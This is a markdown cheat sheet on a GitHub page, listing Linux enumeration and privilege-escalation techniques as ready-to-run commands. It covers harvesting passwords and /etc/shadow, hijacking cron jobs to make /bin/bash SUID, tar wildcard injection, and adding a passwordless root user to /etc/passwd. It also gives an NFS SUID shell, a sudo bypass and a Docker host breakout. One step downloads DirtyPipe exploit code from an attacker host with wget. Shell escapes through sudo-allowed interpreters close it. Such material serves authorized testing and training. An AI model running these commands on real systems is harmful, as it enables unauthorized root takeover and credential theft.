Skip to content

Latest commit

 

History

History
533 lines (455 loc) · 8.25 KB

File metadata and controls

533 lines (455 loc) · 8.25 KB

Linux Enumeration and Privilege Escalation

Enumeration

-> Basic System Enumeration

uname -a 
hostname 
lscpu 
ls /home 
ls /var/www/html 
ls /var/www/
ps aux | grep root 
netstat -tulpn 
ps -aux | grep root | grep mysql
ifconfig 
find . -type f -exec grep -i -I "PASSWORD=" {} /dev/null \;
locate pass | more

-> Get system distribution and version

cat /etc/*-release

-> Get kernel version

cat /proc/version   
uname -a

-> View variable environments

env
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat ~/.zshrc

-> View user command history

cat ~/.bash_history
cat ~/.zsh_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

-> List running processes

ps aux

-> Service Footprints

watch -n 1 "ps -aux | grep pass"
sudo tcpdump -i lo -A | grep "pass"

-> View interfaces and network information

ifconfig
ip addr
ss -anp

-> View all active TCP connections and the TCP and UDP ports the host is listening on.

netstat -ant

-> Get DNS resolver and hosts mapped to an IP

cat /etc/resolv.conf
cat /etc/hosts

-> Get system user, group and password information

cat /etc/passwd
cat /etc/shadow

Extracting database information

PostgreSQL

-> psql terminal as postgres user

su postgres
psql

-> list the databases

\list

-> select the database

\c <database>

-> list the tables

\d

-> dump

select * from <table>;

-> read files

CREATE TABLE demo(t text);
COPY demo from '<filename>';
SELECT * FROM demo;

SQLite

-> access database

sqlite3 <database.db>

-> list the tables

.tables

-> dump

select * from <table>;

MySQL

mysql -u root -h localhost -p

-> list the databases

show databases;

-> select the database

use <database>;

-> list the tables

show tables;

-> dump

SELECT * FROM <table>;

Other Tips

-> Perform code review on web server files (/var/www/html); -> Check log files for credentials;


Privilege Escalation

Crontab [PrivEsc]

-> Enumeration

cat /var/log/cron.log                                                                                                                                              
cat /etc/crontab
contab -l
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d 
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
ls -lah /etc/cron*
grep "CRON" /var/log/syslog
crontab -l
sudo crontab -l

-> Exploitation

echo "chmod +s /bin/bash" >> script.sh

Privilege Escalation via Root Executable Python Script Overwrite

cat /etc/crontab

-> Output like this

* * * * * root /var/www/html/file.py

-> Modify file

cd /var/www/html/
vi file.py

-> Import lib

import os
os.system("chmod +s /bin/bash")

Privilege Escalation via Tar Bash Script (WildCards)

-> Listing "/etc/crontab" file

* * * * * root /usr/bin/local/file.sh

-> Output

#!/bin/bash

cd /var/www/html/
tar czf /tmp/file2.tar.gz *

-> Exploit

cd /var/www/html/

echo "#!/bin/bash" > priv.sh
echo "chmod +s /bin/bash" >> priv.sh
chmod +x priv.sh
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=sh\ priv.sh

SUID [PrivEsc]

-> Enumeration

find / -perm -u=s -type f 2>/dev/null

or

id
find / -perm -u=s -type f -group <group> 2>/dev/null

-> Example

find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
/usr/bin/chsh
/usr/bin/passwdflag

-> Permitions

ls -l /usr/bin/passwdflag
-rwsr-xr-x 1 root root 68574 Jan  5 18:00 /usr/bin/passwdflag

-> Searching strings

strings /usr/bin/passwdflag | grep "pass"

-> Exploitation

Capabilities [PrivEsc]

-> Enumeration

getcap -r / 2>/dev/null

-> Exploitation

Binary with Sudo [PrivEsc]

sudo -l

or

cat /etc/sudoers

-> Exploitation

Run commands as another user with permission through sudo [PrivEsc]

sudo -u <username> <command>

Weak File Permissions / Passwd Writabble [PrivEsc]

-> Enumeration

ls -la /etc/passwd
ls -la /etc/shadow

-> Exploitation

echo "user:$(openssl passwd password123):0:0:root:/root:/usr/bin/bash" >> /etc/passwd

Directory Writable

-> Enumeration

find / -writable -type d 2>/dev/null

Writable Password Files

-> If you have write permission on this files

/etc/passwd
/etc/shadow
/etc/sudoers

-> passwd file

echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd
su - root2
id && whoami

or

openssl passwd -1 -salt mysalt NewP@ssword1
Copy output
echo "root2:<output>:0:0:root:/root:/bin/bash" >> /etc/passwd
Replace <output> with the copied output
su root2
id && whoami

NFS Root Squashing

-> Detection - VM Owned

cat /etc/exports

-> Viewing nfs directories with access - Attacker VM

showmount -e <ip>

-> Get nfs version - Attacker VM

rpcinfo <ip>

-> Mount - Attacker VM

mkdir /tmp/1
mount -o rw,vers=2 <ip>:/<nfs_directory> /tmp/1

-> Creating and compiling file for privesc - Attacker VM

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

-> Exploitation - VM Owned

/tmp/x
id

sudo < v1.28 - @sickrov [PrivEsc]

sudo -u#-1 /bin/bash

Docker Breakout [PrivEsc]

-> Search the socket

find / -name docker.sock 2>/dev/null

-> list images

docker images

-> Exploitation

docker run -it -v /:/host/ <image>:<tag> chroot /host/ bash

Kernel Vulnerabilities

DirtyPipe - CVE-2022-0847

-> Get information

cat /etc/issue
uname -r
arch

-> Validate softwares

whereis gcc
whereis python
whereis curl
whereis wget

-> Searching public exploit

searchsploit "linux kernel 5.9"
searchsploit -m 50808.c

-> Find file has a SUID permission

find / -perm -u=s -type f 2>/dev/null

-> Move to target and compile

cd /tmp
wget http://<IP>/50808.c
chmod +x 50808.c
gcc 50808.c -o 50808

-> Exploit

./50808 <SUID-FILE>

Vim Privile Escalation

sudo -l
sudo -u user1 vim
:r /home/user1/file.txt
:!/bin/bash
uid=1001(user1) gid=1001(user1) groups=1001(user1)

Less Privile Escalation

sudo -l 
sudo -u user1 less /home/user1/file.txt
sudo -u user1 less /etc/passwd
/home/user1/file.txt
!/bin/bash

Awk Privile Escalation

sudo -u user1 awk '{print $0}' /home/user1/file.txt
sudo -u user1 awk '{system("/bin/bash")}'

Perl Privile Escalation

sudo -u user1 perl -e 'print `cat /home/user1/file.txt`'
sudo -u user1 perl -e '`/bin/bash`'

Python Privile Escalation

sudo -u user1 python
import os
os.system('cat /home/user1/file.txt')
os.system('/bin/bash')

Ruby Privile Escalation

sudo -u user1 /usr/bin/ruby -e'puts `cat /home/user1/key.txt`'
/usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)'

Node Privile Escalation

sudo -u user1 node -e 'var exec = require("child_process").exec;exec("cat /home/user1/key.txt", function (error, stdOut, stdErr) {console.log(stdOut);});'
sudo -u user1 node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Linux Enumeration Tools [PrivEsc]

-> Linpeas

./linpeas.sh

-> pspy (unprivileged Linux process snooping)

./pspy64

-> linux-exploit-suggester

./linux-exploit-suggester.sh

or

./linux-exploit-suiggester.sh --uname <uname-string>

-> Unix Privesc Check

./unix-privesc-check